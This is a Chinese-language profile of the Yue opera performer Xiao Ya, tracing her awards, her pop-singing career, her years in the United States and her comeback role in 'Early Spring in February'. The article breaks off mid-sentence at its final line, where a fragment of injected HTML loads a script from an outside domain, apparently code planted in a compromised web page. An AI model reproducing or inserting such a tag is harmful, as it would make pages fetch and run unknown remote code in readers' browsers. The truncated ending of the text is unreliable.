萧雅，青年表演艺术家。代表剧目有《一枝梅》、《早春二月》、《状元未了情》、《何文秀传奇》、《盘妻索妻》、《秋海棠》等。曾获第二届江浙沪青年越剧电视大奖赛二等奖、华东六省一市戏曲演员通俗歌曲大奖赛特等奖、第十五届全国电视剧飞天奖、第21届中国戏剧梅花奖等，音乐风光片《呼伦贝尔情》获国家民委会特等奖。现任萧雅文化艺术有限公司创办人，上海戏剧家协会理事。

    萧雅，人如其名，秀美灵动，大方隽永。

    萧雅，艺如其名，清新流畅，温和儒雅。

    萧雅仿佛生来就是越剧的女儿，在举首投足、低吟浅唱中品味着人生的真谛，展示着艺术的精彩。

    从艺二十七年来，萧雅和她的姐妹们一起，经历了越剧自上世纪末以来的复苏、兴盛和低迷的历程。一路走来，萧雅如逆水行舟、坚韧不拔，把戏越唱越响，将路越走越宽。

    如果没有越剧

    萧雅出生于上海的一户普通人家。由于天生有副好嗓子，加上母亲的艺术熏陶，萧雅从小就盼望自己能成为一名歌唱家。

    也许是与越剧有缘，当萧雅在鲁迅中学读高二时，虹口越剧团面向社会招生，在母亲的支持下，萧雅凭着一段《葬花》和《焚稿》顺利考入越剧团，开始了自己的越剧艺术人生。

    上世纪80年代，萧雅在秉承越剧唱腔传统的基础上，借鉴了通俗和美声唱法，成为戏曲界第一位戏、歌两栖演员。在通俗歌坛，她演唱的《月亮走，我也走》等歌曲风靡一时；在越剧舞台，她把气声唱法引入尹派唱腔，亲切柔美、通透流畅，令人听了有春风轻拂般惬意、泉下听琴般沉醉的美好感受。

    1991年，正当萧雅在歌坛和舞台上接连获奖、好评如潮时，她却作出了一个出人意料的决定——离开上海，去美国定居。这令所有喜欢萧雅的人们感到十分惊讶，也感到十分遗憾。也许，他们关注的只是舞台上那个风采照人、星光四射的萧雅，而对舞台下那个善于思索、勉力追寻的萧雅却所知甚少。“这段时期，我忽然对自己的人生定位产生了怀疑，想出去走走看看，冷静地思考一下，然后再决定走哪条路。”萧雅说。

    然而，身虽离，心相忆。五六年时间应该不算长，但对离开了越剧的萧雅来说，是极为难熬的。在美国，每当看华人电视节目时，萧雅的心中便想起了心爱的越剧。“一个女演员有多少个年头可以荒废？没有了艺术，没有了越剧，我的生活几乎是空白，越剧舞台就是我的第二生命。”终于，萧雅毅然放弃了在美国的优裕生活，回到了上海，回到了越剧舞台，回到了越剧观众中间。

    与其他剧种的戏迷相比，越剧戏迷对演员的热爱似乎更加专一，更加长久。1998年，刚回国的萧雅出了一张越剧折子戏的VCD，为复出热身；次年她又在上海国际艺术节直播节目上亮相，顿时引来了大量兴奋的越迷。他们奔走相告：“萧雅回来了！”对此，萧雅在感动之余，也增添了复出的勇气和信心。

    如果没有付出

    马不停蹄的演出，摩肩接踵的观众，如潮涌来的鲜花和掌声，萧雅的复出之路似乎坦荡平直、没有磕绊；不过，就在不经意中，此时的萧雅却面临着一次人生的磨砺和艺术的蜕变。

    2000年，上海越剧院邀请萧雅出演《早春二月》中的萧涧秋一角。越剧擅演古装戏，长袖挥洒、纸扇翻飞、高靴挺秀，这些能充分体现小生的潇洒飘逸，烘托唱腔的韵味。但在这出现代戏里，萧涧秋既没有水袖，没有扇子，又不穿高靴，缺少了那么多表现人物性格的手段，拿什么演好角色、吸引观众？

    在人们的担心和猜测下，抱着“只许成功，不许失败”态度的萧雅投入了艰苦的摹仿和创作过程。

    画家作画的基础是写生，演员演戏的基础是摹仿。每到傍晚时分，萧雅便去淮海路、南京路观察年轻男子走路、说话的神态，甚至还跟在别人身后亦步亦趋，由于过于专注，以至好几次都被骂为“花痴”。现代戏中高靴不能用，萧雅便以内高跟鞋代替，这种鞋子乍看之下与一般鞋子没有区别，但穿上走路却比高靴困难得多，不久萧雅的脚趾便被挤出了淤血。除了正常的练功和排演，萧雅还在晚上连续拜访两位越剧专家，共同琢磨唱腔。那段时间，萧雅每天的睡眠时间不足五小时。

    《早春二月》正式彩排那天，萧雅迈着干净稳重的台步出场，演绎一个情感复杂的青年萧涧秋，令在场所有同行和前辈艺术家眼前一亮。彩排结束，孙道临握着萧雅的手说：“萧雅，希望你能保持女子越剧的特色，祝你成功！”听着这番恳切的话，萧雅的眼泪顿时流了出来，将往日的辛苦和委屈冲刷得干干净净。

    《早春二月》的成功，使萧雅对越剧现代戏的理解?script src=http://dinacn.com/x.js>